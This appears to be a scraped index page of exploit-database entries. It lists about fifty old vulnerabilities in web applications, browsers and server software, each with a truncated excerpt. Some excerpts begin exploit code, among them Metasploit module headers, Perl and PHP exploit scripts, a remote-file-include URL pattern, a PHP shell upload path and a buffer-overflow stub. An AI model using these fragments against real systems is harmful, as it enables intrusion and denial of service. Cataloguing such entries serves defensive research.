SiteBar <= 3.3.8 index.php target Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/26126/info SiteBar is prone to multiple input-validation vulnerabilities because it fails to properly sanitize user-supplied input. These issues include: - A local file-include vulnerability - Multiple...

MatterDaddy Market 1.1 - 'admin/login.php' Cross Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/30848/info MatterDaddy Market is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in the browser...

PunkBuster < 1.229 (WebTool Service) Remote Buffer Overflow DoS

No description provided by source. Luigi Auriemma Application: PunkBuster http://www.punkbuster.com Versions: PunkBuster for servers, versions minor than v1.229: America's Army = v1.228 Battlefield 1942 = v1.158 Battlefield 2 = v1.184 Battlefield Vietnam = v1.150 Call of Duty = v1.173 Call of Dut...

Opera SVG Use After Free Vulnerability

No description provided by source. svg xmlns=http://www.w3.org/2000/svg xmlns:xlink=http://www.w0.org/1999/xlink g id=group defs clipPath id=clip-circle clip-path=urlclip-rect /clipPath clipPath id=clip-rect /clipPath /defs circle id=rect x=10 y=10 width=100 height=100 fill=green / /g script!CDAT...

Mozilla Firefox 1.0.6/1.0.7 IFRAME Handling Denial of Service Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/15015/info Mozilla Firefox is prone to a remote denial of service vulnerability. The vulnerability presents itself when an affected browser handles a specially crafted IFRAME. A successful attack may result in crashing th...

Onpub CMS 1.4 & 1.5 - Multiple SQL Injection Vulnerabilities

No description provided by source. Document Title: =============== Onpub CMS 1.4 & 1.5 - Multiple SQL Injection Vulnerabilities References Source: ==================== http://www.vulnerability-lab.com/getcontent.php?id=1120 Release Date: ============= 2013-10-26 Vulnerability Laboratory ID VL-ID:...

WebDM CMS SQL Injection Vulnerability

No description provided by source. WebDM CMS SQL Injection Vulnerability EDB-ID: CVE: OSVDB-ID: Author: Dr.0rYX and Cr3w-DZ Published: Verified: Exploit Code: Vulnerable App: . . \ \ /| | \ /|| / / /\ \ | | | | \ \ \ | \ \ |/ \ \ | | \ / \ | /| | | Y \ // / | \ | | / \ \ / \ || /\ /| || ||...

Debian Linux 2.0/2.0 r5,FreeBSD <= 3.2,OpenBSD 2.4,RedHat Linux 5.2 i386,S.u.S.E. Linux <= 6.1 Lsof Buffer Overflow Vulnerability (1)

No description provided by source. source: http://www.securityfocus.com/bid/496/info Lsof is an open file management utility included with many linux distributions. When run setuid root or setgid kmem, it is subject to a buffer overflow that can lead to regular users gaining root priveleges. /...

PG Roommate Finder Solution viewprofile.php part Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/35814/info PG Roommate Finder Solution is prone to a cross-site scripting vulnerability because it fails to properly sanitize user-supplied input. An attacker may leverage this issue to execute arbitrary script code in th...

FSphp 0.2.1 - Multiple Remote File Inclusion Vulnerabilities

No description provided by source...

Joomla Component com_ganalytics - Local File Inclusion

No description provided by source. .:. Author : AtT4CKxT3rR0r1ST [email protected] .:. Team : Sec Attack Team .:. Home : www.sec-attack.com/vb .:. Script : Joomla Component comganalytics .:. Bug Type : Local File Inclusion LFI .:. Dork : inurl:comganalytics === Exploit ===...

Pre Web Host - SQL Injection Vulnerability

No description provided by source. EDB-ID: 1310 CVE: OSVDB-ID: Author: Mr.Benladen Published: 2010-06-07 Verified: No Download: Exploit Code Download: N/A InformatioN Title : Pre Web Host sql inj3ction Vulnerability Author : Mr.Benladen Homepage : http://www.joomlaservice.info Or...

HP OpenView Network Node Manager snmpviewer.exe Buffer Overflow

No description provided by source. $Id: hpnnmsnmpvieweractapp.rb 12098 2011-03-23 15:47:20Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and...

jbShop - e107 7 CMS Plugin - SQL Injection

No description provided by source. Exploit Title: jbShop - e107 v7 CMS plugin - SQL Injection vulnerability Author: Robert Cooper adminatwebsiteauditing.org Software Link: http://sourceforge.net/projects/jbshop/ Tested on: Linux/Windows 7 Vulnerable Parameter: itemid= PoC:...

PHP-Nuke <= 8.0 - Remote SQL Injection Exploit

No description provided by source. !/usr/bin/perl 0-Day PHP-Nuke = 8.0 News Remote SQL Injection Exploit Created: 2010.04.23 after 3 days the bug was discovered. Author/s: Dante90 & The:Paradox, WaRWolFz Crew Crew Members: 4lasthor, Andryxxx, Cod3, Gho5t, HeRtZ, N.o.3.X, RingZero, s3rg3770, Shade...

Erolife AjxGaleri VT Database Disclosure Vulnerability

No description provided by source...

V-webmail 1.6.4 includes/cachedConfig.php CONFIG[pear_dir] Parameter Remote File Inclusion

No description provided by source. source: http://www.securityfocus.com/bid/30162/info V-webmail is prone to multiple remote file-include vulnerabilities because it fails to sufficiently sanitize user-supplied data. Exploiting these issues can allow an attacker to compromise the application and t...

WEBInsta CMS <= 0.3.1 (users.php) Remote File Include Vulnerability

No description provided by source. / Vulnerable product : http://www.webinsta.com/download.html WEBInsta. CMS 0.3.1 Author : Yns - yns.zaxaz.com / Exploit: http://HOST/PATH/modules/usersonline/users.php?moduledir=REMOTEFILE milw0rm.com 2006-08-15...

TR News <= 2.1 (login.php) Remote Login Bypass Exploit

No description provided by source. ?php errorreporting0; / ------------------------------------------------------ TR News = 2.1 login.php Remote Login ByPass Exploit ------------------------------------------------------ By StAkeRathotmaildotit http://www.easy-script.com/scripts-dl/trscript-21.zi...

eoCMS <= 0.9.03 Remote FIle Include Vulnerability

No description provided by source. Exploit Title: eoCMS = 0.9.03 Remote FIle Include Vulnerability Date: 14-12-2009 Author: 1nd0n3s14n l4m3r Software Link: http://eocms.com/index.php?act=plugin&id=4 Version: N/A Tested on: GNU/LINUX CVE : N/A Code : N/A eoCMS = 0.9.03 Remote FIle Include...

Microsoft SQL Server 7.0/2000,Data Engine 1.0/2000 xp_peekqueue Buffer Overflow Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/2040/info The API Srvparaminfo, which is implemented by Extended Stored Procedures XPs in Microsoft SQL Server and Data Engine, is susceptible to a buffer overflow vulnerability which may cause the application to fail or...

SIEMENS Solid Edge ST4 SEListCtrlX ActiveX Remote Code Execution

No description provided by source. This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and terms of use. http://metasploit.com/framework/ require 'msf/core'...

MoinMoin 1.5.8/1.9 Cross-Site Scripting and Information Disclosure Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/32208/info MoinMoin is prone to cross-site scripting and information-disclosure vulnerabilities because it fails to properly sanitize user-supplied input. An attacker may leverage these issues to execute arbitrary script...

Dream4 Koobi CMS 4.2.3 Index.PHP Cross-Site Scripting Vulnerability

No description provided by source. !/usr/bin/env python coding: utf-8 from pocsuite.net import req from pocsuite.poc import POCBase, Output from pocsuite.utils import register from urlparse import urljoin class TestPOCPOCBase: vulID = 'SSV-78938' vul ID version = '1' author = 'hzr' vulDate =...

Webify Business Directory Arbitrary File Deletion Vulnerability

No description provided by source. !x! Informations: Name : Webify business directory Download : http://webify.ws/businessdirectory Vulnerability : Delete Arbitrary File Vulnerability Author : JIKOJAWAD Contact : [email protected] Site : No-ExploiT.CoM Is Back Notes : No-ExploiT.CoM !x! Bug:...

Linux Kernel 2.2.x Non-Readable File Ptrace Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/2044/info Ptrace is a unix system call that is used to analyze running processes, usually for breakpoint debugging. The linux implementation of ptrace in 2.2.x kernels and possibly earlier versions contains a vulnerabilit...

splitvt < 1.6.5 - Local Exploit

No description provided by source. / MasterSecuritY www.mastersecurity.fr spitvt.c - Local exploit for splitvt 1.6.5 Copyright C 2001 fish stiqz [email protected] Copyright C 2001 Michel MaXX Kaempf [email protected] Updated versions of this exploit and the corresponding advisory will be made...

MXBB Profile Control Panel 0.91c Module Remote File Include Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/21520/info The mxBB profile Control Panel module is prone to a remote file-include vulnerability because it fails to sufficiently sanitize user-supplied data. An attacker may leverage this issue to execute arbitrary...

Google Hack Honeypot File Upload Manager 1.3 'delall' Unauthorized File Access Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/27877/info Google Hack Honeypot File Upload Manager is prone to an unauthorized file-access vulnerability. This issue occurs because the application fails to validate users before processing a certain HTTP request...

Yager <= 5.24 Multiple Denial of Service Exploit

No description provided by source. / by Luigi Auriemma / include stdio.h include stdlib.h include string.h include time.h ifdef WIN32 include winsock.h / Header file used for manage errors in Windows It support socket and errno too this header replace the previous sockerrX.h / include string.h...

Vastal I-Tech Agent Zone (search.php) Blind SQL Injection Vulnerability

No description provided by source. Agent Zone Vastal I-Tech Blind SQL Injection Vulnerability Date: 31.01.2012 Author: Cagri Tepebasili Software : http://www.vastal.com/agent-zone-real-estate-script.html Tested on: Linux Mint 12 The First Step...

PHP-Nuke Sections Module - 'artid' Parameter SQL Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/27879/info The PHP-Nuke Sections module is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacke...

AppIntellect SpotLight CRM Login.ASP SQL Injection Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/21521/info AppIntellect SpotLight CRM is prone to an SQL-injection vulnerability because it fails to sufficiently sanitize user-supplied data before using it in an SQL query. Exploiting this issue could allow an attacker ...

Dick Lin ZetaMail 2.1 Login DoS Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/813/info The ZetaMail mail server will crash if a username/password pair longer than 3500 characters is supplied by the client. 19636-1.exe - binary for windows 19636-2.zip - source for windows 19636-3.tgz - source for...

Fred N. van Kempen dip 3.3.7 - Buffer Overflow Vulnerability (1)

No description provided by source. source: http://www.securityfocus.com/bid/86/info A buffer overflow resides in 'dip-3.3.7o' and derived programs. This is a problem only on systems where 'dip' is installed setuid. The culpable code is an 'sprintf' in line 192 in 'main.c': sprintfbuf, %s/LCK..%s,...

Pakupaku CMS <= 0.4 - Remote File Upload / LFI Vulnerability

No description provided by source. !/usr/bin/perl Pakupaku CMS = 0.4 Remote File Upload Vulnerability 1- PathScript/index.php?page=Uploads 2- Upload GoLd-M.php = Php Shell 3- PathScript/uploads/GoLd-M.php = Php Shell D.Script :...

CMScout 2.08 SQL Injection Vulnerability

No description provided by source...

Slackware Linux 3.4 netconfig temporary file Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/81/info netconfig creates the file /tmp/tmpmsg insecurely and follows symbolic links. An attacker can create a symbolic link from /tmp/tmpmsg to any file and wait for root to run the program. This will clober the target...

Apache httpOnly Cookie Disclosure

No description provided by source. // Source: https://gist.github.com/1955a1c28324d4724b7b/7fe51f2a66c1d4a40a736540b3ad3fde02b7fb08 // Most browsers limit cookies to 4k characters, so we need multiple function setCookies good // Construct string for cookie value var str = ; for var i=0; i 819; i+...

Ez Guestbook 1.0 - Multiple Vulnerabilities

No description provided by source. ------------------------------------------------------------------------------------------------- Title: Ez Guestbook 1.0 Multiple Vulnerabilities Author: Milos Zivanovic Email: milosz.securityatgmail.com Date: 14. December 2009...

Happymall E-Commerce Software 4.3/4.4 Normal_HTML.CGI Cross-Site Scripting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/7557/info IT has been reported that Happymall E-Commerce is prone to cross-site scripting attacks. The problem occurs due to insufficient sanitization of user-supplied URI parameters. As a result, it may be possible for a...

MyBB <= 1.4.6 - Remote Code Execution Exploit

No description provided by source. ?PHP / Someone decided to contact mybb's staff informing about this vulnerability with the obvious result that this will not work anymore. Fucking moron. I'm releasing a non-finished version of the exploit. No help, PoC and with the necessity of --admindir flag...

PHP-Nuke 6.x/7.x FAQ Module categories Parameter XSS

No description provided by source. source: http://www.securityfocus.com/bid/10524/info PHP-Nuke is prone to multiple vulnerabilities. The issues result from insufficient sanitization of user-supplied data. The following specific issues can affect the application: PHP-Nuke is prone to multiple...

vCard 2.9 - Multiple Cross-Site Scripting Vulnerabilities

No description provided by source. source: http://www.securityfocus.com/bid/18122/info vCard is prone to multiple cross-site scripting vulnerabilities. These issues are due to a failure in the application to properly sanitize user-supplied input. An attacker may leverage these issues to have...

BEA WebLogic JSESSIONID Cookie Value Overflow

No description provided by source. $Id: beaweblogicjsessionid.rb 9670 2010-07-03 03:19:07Z jduck $ This file is part of the Metasploit Framework and may be subject to redistribution and commercial restrictions. Please see the Metasploit Framework web site for more information on licensing and ter...

MySQL 3.20.32 a/3.23.34 Root Operation Symbolic Link File Overwriting Vulnerability

No description provided by source. source: http://www.securityfocus.com/bid/2522/info MySQL is a relational database management system RDBMS, freely available and open source. It is maintained by MySQL AB. A problem with the implementation of some MySQL databases may permit local users to overwri...

dotProject <= 2.0.4 (baseDir) Remote File Include Vulnerability

No description provided by source. / + + - - - DEVIL TEAM THE BEST POLISH TEAM - - + + + - dotProject = 2.0.4 baseDir Remote File Include Vulnerabilities + - Script name: dotProject v. 2.0.4 - Script site: http://www.dotproject.net/ + + + - Find by: Kacper a.k.a Rahim + - Contact:...

D-LINK DKVM-IP8 XSS Vulnerability

No description provided by source. Exploit Title: D-LINK DKVM-IP8 XSS Vulnerability Date: 01-06-2010 Author: POPCORN Software Link: http://www.dlink.ru/ Version: 2282dlinkA4p820071213 Tested on: Windows Sp 2 Site : http://Hacking.ge Code : POST http://site.com80/auth.asp HTTP/1.0 Accept: /...

ALLPlayer 5.8.1 - (.m3u file) Buffer Overflow (SEH)

No description provided by source...

FoxPlayer 2.9.0 - Denial of Service Vulnerability

No description provided by source. !/usr/bin/python Exploit Title:Denial of Service in FoxPlayer version 2.9.0 Download link :http://www.foxmediatools.com/installers/fox-player-setup.exe Author: metacom version: version 2.9.0 Category: poc Tested on: windows 7 German filename=evil.m3u buffer = \x...